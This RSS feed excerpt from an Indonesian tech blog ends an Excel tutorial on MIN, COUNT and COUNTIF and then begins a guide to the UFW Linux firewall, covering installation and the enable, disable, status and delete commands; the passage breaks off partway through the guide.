&lt;section&gt;&lt;h2&gt;MIN&lt;a href=&quot;#min&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Kebalikan dari fungsi &lt;strong&gt;MAX&lt;/strong&gt;, fungsi &lt;strong&gt;MIN&lt;/strong&gt; digunakan untuk mencari nilai yang paling rendah sehingga kita tidak perlu mencarinya secara manual. Rumus ini juga dapat digunakan secara vertikal maupun horizontal.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Rumus &lt;strong&gt;MIN&lt;/strong&gt;&lt;a href=&quot;#rumus-min&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;MIN(A1:A10)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Keterangan:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Mencari nilai terkecil yang terdapat di sel &lt;strong&gt;A1&lt;/strong&gt; hingga &lt;strong&gt;A10&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Contoh:&lt;a href=&quot;#contoh-3&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Saya akan mencari nilai terkecil yang terdapat pada rentang sel &lt;strong&gt;B3&lt;/strong&gt; sampai &lt;strong&gt;B7&lt;/strong&gt;.&lt;br /&gt;
Jadi, rumus yang saya gunakan adalah&lt;/p&gt;&lt;p&gt;&lt;code&gt;=MIN(B3:B7)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;MIN&quot; loading=&quot;lazy&quot; width=&quot;506&quot; height=&quot;759&quot; src=&quot;/_astro/ss4.olQCs87I_Z1r8su9.webp&quot; /&gt;&lt;figcaption&gt;MIN&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Langsung terlihat hasilnya adalah &lt;strong&gt;55&lt;/strong&gt;.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;COUNT&lt;a href=&quot;#count&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Fungsi &lt;strong&gt;COUNT&lt;/strong&gt; digunakan untuk menghitung jumlah item yang memiliki nilai di rentang sel tertentu sehingga kita tidak perlu menghitungnya secara manual. Rumus ini juga dapat digunakan secara vertikal maupun horizontal.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Rumus &lt;strong&gt;COUNT&lt;/strong&gt;&lt;a href=&quot;#rumus-count&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;COUNT(A1:A10)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Keterangan:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Menghitung jumlah item yang terdapat di sel &lt;strong&gt;A1&lt;/strong&gt; hingga &lt;strong&gt;A10&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Contoh:&lt;a href=&quot;#contoh-4&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Saya akan menghitung jumlah item yang terdapat pada rentang sel &lt;strong&gt;B3&lt;/strong&gt; sampai &lt;strong&gt;B7&lt;/strong&gt;.&lt;br /&gt;
Jadi, rumus yang saya gunakan adalah&lt;/p&gt;&lt;p&gt;&lt;code&gt;=COUNT(B3:B7)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;COUNT&quot; loading=&quot;lazy&quot; width=&quot;511&quot; height=&quot;760&quot; src=&quot;/_astro/ss5.Bkclg3u2_Z1Lm1iG.webp&quot; /&gt;&lt;figcaption&gt;COUNT&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Langsung terlihat hasilnya adalah &lt;strong&gt;5&lt;/strong&gt;.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;COUNTIF&lt;a href=&quot;#countif&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Mirip dengan fungsi &lt;strong&gt;COUNT&lt;/strong&gt; sebelumnya, fungsi &lt;strong&gt;COUNTIF&lt;/strong&gt; digunakan untuk menghitung jumlah item yang memiliki nilai di rentang sel tertentu namun dengan syarat atau kriteria tertentu sehingga kita tidak perlu menghitungnya secara manual. Rumus ini juga dapat digunakan secara vertikal maupun horizontal.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Rumus &lt;strong&gt;COUNTIF&lt;/strong&gt;&lt;a href=&quot;#rumus-countif&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;COUNTIF(A1:A10; &quot;criteria&quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Keterangan:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Menghitung jumlah item dengan syarat/kriteria yang terdapat di sel &lt;strong&gt;A1&lt;/strong&gt; hingga &lt;strong&gt;A10&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Contoh:&lt;a href=&quot;#contoh-5&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Saya akan menghitung jumlah item yang nilainya lebih dari 80 yang terdapat pada rentang sel &lt;strong&gt;B3&lt;/strong&gt; sampai &lt;strong&gt;B7&lt;/strong&gt;.&lt;br /&gt;
Jadi, rumus yang saya gunakan adalah&lt;/p&gt;&lt;p&gt;&lt;code&gt;=COUNTIF(B3:B7; &quot;&amp;gt;80&quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;COUNTIF&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;766&quot; src=&quot;/_astro/ss6.C7wPSAX8_2cqHNC.webp&quot; /&gt;&lt;figcaption&gt;COUNTIF&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Langsung terlihat hasilnya adalah &lt;strong&gt;2&lt;/strong&gt;, yaitu 89 dan 93.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Latihan&lt;a href=&quot;#latihan&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah soal latihan yang dapat dikerjakan untuk mengasah pemahaman tentang ke 6 fungsi/formula dasar di Microsoft Excel (Google Spreadsheet):&lt;/p&gt;&lt;p&gt;Untuk mengakses spreadsheet-nya, &lt;a href=&quot;https://docs.google.com/spreadsheets/d/1zE3ZFqe7pm3YXTEcZjZBay3MK_Tk5TL1TZFhM_62U0Y/edit?usp=sharing&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;klik tautan ini!&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;chatgpt.com &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Managing Firewall in Linux with UFW (+GUFW)</title><link>https://shangdi.github.io/posts/tech/ufw/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/ufw/</guid><description>A simple and user-friendly CLI firewall manager: UFW. It handles incoming to and outgoing traffic from our host machine.</description><pubDate>Mon, 13 Jan 2025 08:59:03 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;UFW&lt;/strong&gt; adalah singkatan bahasa Inggris dari &lt;strong&gt;Uncomplicated Firewall&lt;/strong&gt;. Boleh dibilang, &lt;code&gt;ufw&lt;/code&gt; merupakan &lt;em&gt;replacement&lt;/em&gt; dari program manajemen firewall yang lebih “senior” (dan tentu saja -sedikit- lebih kompleks), yaitu &lt;a href=&quot;https://www.exabytes.co.id/blog/apa-itu-iptables-adalah/&quot; target=&quot;_blank&quot;&gt;iptables&lt;/a&gt;. Nah, karena UFW adalah tool yang berbasis &lt;em&gt;command line interface&lt;/em&gt; (CLI), jadi, GUFW adalah versi &lt;em&gt;graphical user interface&lt;/em&gt; (GUI) dari UFW. Singkatnya, GUFW adalah singkatan dari &lt;strong&gt;GUI UFW&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Sebentar, lalu apa itu &lt;u&gt; firewall&lt;/u&gt;?&lt;/p&gt;
&lt;p&gt;Mari sejenak melihat definisi dari kamus bahasa Inggris &lt;em&gt;online&lt;/em&gt; yang cukup populer, Merriam Webster berikut:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Firewall:&lt;/strong&gt; “&lt;em&gt;computer hardware or software that prevents unauthorized access to private data (as on a company’s local area network or intranet) by outside computer users (as of the Internet).&lt;/em&gt;”&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Definisinya sudah benar, tapi belum lengkap. Jadi, mari kembali lihat definisi lain, misalnya seperti yang dikatakan oleh Kaspersky di laman websitenya yang saya kutip berikut:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Firewall:&lt;/strong&gt; “&lt;em&gt;a computer network security system that restricts internet traffic in to, out of, or within a private network.&lt;/em&gt;”&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Nah, dari referensi kedua definisi tersebut, saya menyimpulkan definisi firewall sebagai “&lt;em&gt;software komputer yang digunakan untuk mencegah atau membatasi lalu lintas internet &lt;strong&gt;ke luar jaringan&lt;/strong&gt;, &lt;strong&gt;ke dalam jaringan&lt;/strong&gt;, maupun &lt;strong&gt;di dalam jaringan&lt;/strong&gt;&lt;/em&gt;”.&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;Instalasi&lt;a href=&quot;#instalasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Seperti biasa, &lt;code&gt;ufw&lt;/code&gt; sebagai &lt;em&gt;tool standard&lt;/em&gt;, dapat di-&lt;em&gt;install&lt;/em&gt; di setiap distro linux via &lt;em&gt;package manager&lt;/em&gt;-nya masing-masing.&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install ufw&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy ufw&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install ufw&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install ufw&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Penggunaan&lt;a href=&quot;#penggunaan&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sebelum ke penggunaan, ada beberapa hal penting yang perlu diketahui terlebih dahulu&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Firewall illustration&quot; loading=&quot;lazy&quot; width=&quot;898&quot; height=&quot;552&quot; src=&quot;/_astro/ss1.Dc61MDiz_1jN8RO.webp&quot; /&gt;&lt;figcaption&gt;Firewall illustration&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Firewall seperti &lt;strong&gt;&lt;code&gt;ufw&lt;/code&gt;&lt;/strong&gt; bisa dipasang di perangkat apapun, seperti PC, laptop, dan server (khususnya yang bersistem operasi Linux).&lt;/li&gt;
&lt;li&gt;Aturan utama firewall umumnya hanya 2: &lt;strong&gt;deny&lt;/strong&gt; &amp;amp; &lt;strong&gt;allow&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Traffic yang dilarang (&lt;em&gt;deny&lt;/em&gt;) atau diizinkan (&lt;em&gt;allow&lt;/em&gt;) juga hanya ada 2 tipe: &lt;em&gt;&lt;strong&gt;incoming&lt;/strong&gt;&lt;/em&gt; &amp;amp; &lt;em&gt;&lt;strong&gt;outgoing&lt;/strong&gt;&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Ada traffic khusus pada perangkat yang biasa digunakan sebagai router misalnya, yaitu &lt;em&gt;&lt;strong&gt;routed&lt;/strong&gt;&lt;/em&gt;.  (Tidak dibahas dalam artikel ini).&lt;/li&gt;
&lt;/ul&gt;&lt;section&gt;&lt;h3&gt;Perintah Umum&lt;a href=&quot;#perintah-umum&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah &lt;em&gt;commands&lt;/em&gt; atau perintah-perintah untuk &lt;strong&gt;mengaktifkan&lt;/strong&gt;, &lt;strong&gt;mematikan&lt;/strong&gt;, dan &lt;strong&gt;melihat status&lt;/strong&gt; &lt;code&gt;ufw&lt;/code&gt;.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Enable&lt;a href=&quot;#enable&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;ufw&lt;/code&gt;&lt;/strong&gt; tidak otomatis berjalan setelah instalasi selesai. Jadi, untuk menjalankan firewall via &lt;strong&gt;&lt;code&gt;ufw&lt;/code&gt;&lt;/strong&gt; kita perlu mengetikkan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;enable&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Outputnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Firewall is active and enabled on system startup&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Disable&lt;a href=&quot;#disable&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk menon-aktifkan &lt;strong&gt;&lt;code&gt;ufw&lt;/code&gt;&lt;/strong&gt;,&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;disable&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Outputnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Firewall stopped and disabled on system startup&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Status&lt;a href=&quot;#status&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Jika ingin melihat status ufw saat ini, gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Outputnya, jika &lt;strong&gt;&lt;code&gt;ufw&lt;/code&gt;&lt;/strong&gt; sedang aktif:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Status: active&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dan jika sedang tidak aktif:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Status: inactive&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Status Numbered&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Kita juga bisa melihat rule yang sudah ditambahkan ke &lt;code&gt;ufw&lt;/code&gt; berdasarkan nomor urutnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;numbered&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Outputnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Status: active&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span&gt;To                         Action      From&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span&gt;--                         ------      ----&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[ 1] Anywhere                   DENY IN     192.168.0.101&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[ 2] Anywhere                   DENY IN     192.168.0.0/24&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[ 3] 80                         ALLOW IN    Anywhere&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[ 4] 443                        ALLOW IN    Anywhere&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[ 5] 22                         ALLOW IN    Anywhere&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[ 6] 80 (v6)                    ALLOW IN    Anywhere (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[ 7] 443 (v6)                   ALLOW IN    Anywhere (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[ 8] 22 (v6)                    ALLOW IN    Anywhere (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Terlihat bahwa rule untuk memblokir subnet ditambahkan pada urutan ke dua di &lt;code&gt;ufw&lt;/code&gt;. &lt;strong&gt;Artinya, setiap rule baru yang dibuat, akan ditambahkan di urutan berikutnya. Selain itu, &lt;code&gt;ufw&lt;/code&gt; sebagai firewall membaca dan memprioritaskan rule berdasarkan urutan nomor yang paling rendah terlebih dahulu (0,1,2,3,…dst)&lt;/strong&gt;.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Berdasarkan status &lt;code&gt;ufw&lt;/code&gt; tersebut, kita tahu bahwa aturan atau rule &lt;code&gt;ufw&lt;/code&gt; sangat sederhana, dia hanya mencatat 3 hal:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;tujuan paketnya (&lt;strong&gt;from&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;apa yang harus diperbuat (&lt;strong&gt;action&lt;/strong&gt;), dan&lt;/li&gt;
&lt;li&gt;sumber paketnya (&lt;strong&gt;to&lt;/strong&gt;).&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Delete&lt;a href=&quot;#delete&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita juga bisa menghapus rule yang sudah dibuat. Setidaknya, ada 2 cara untuk menghapus rule di &lt;code&gt;ufw&lt;/code&gt;:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Rule dihapus berdasarkan &lt;strong&gt;nomor urutnya&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Caranya,&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;lihat nomor rule yang akan dihapus dengan perintah &lt;code&gt;sudo ufw status numbered&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;hapus rule yang diinginkan dengan perintah:&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;delete&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;6&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Outputnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Deleting:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;deny 22&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Proceed with operation (y|n)? y&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Rule deleted (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Rule dihapus berdasarkan &lt;strong&gt;rule itu sendiri&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Caranya,&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;lihat nomor rule yang akan dihapus dengan perintah &lt;code&gt;sudo ufw status numbered&lt;/code&gt;.&lt;/li&gt;
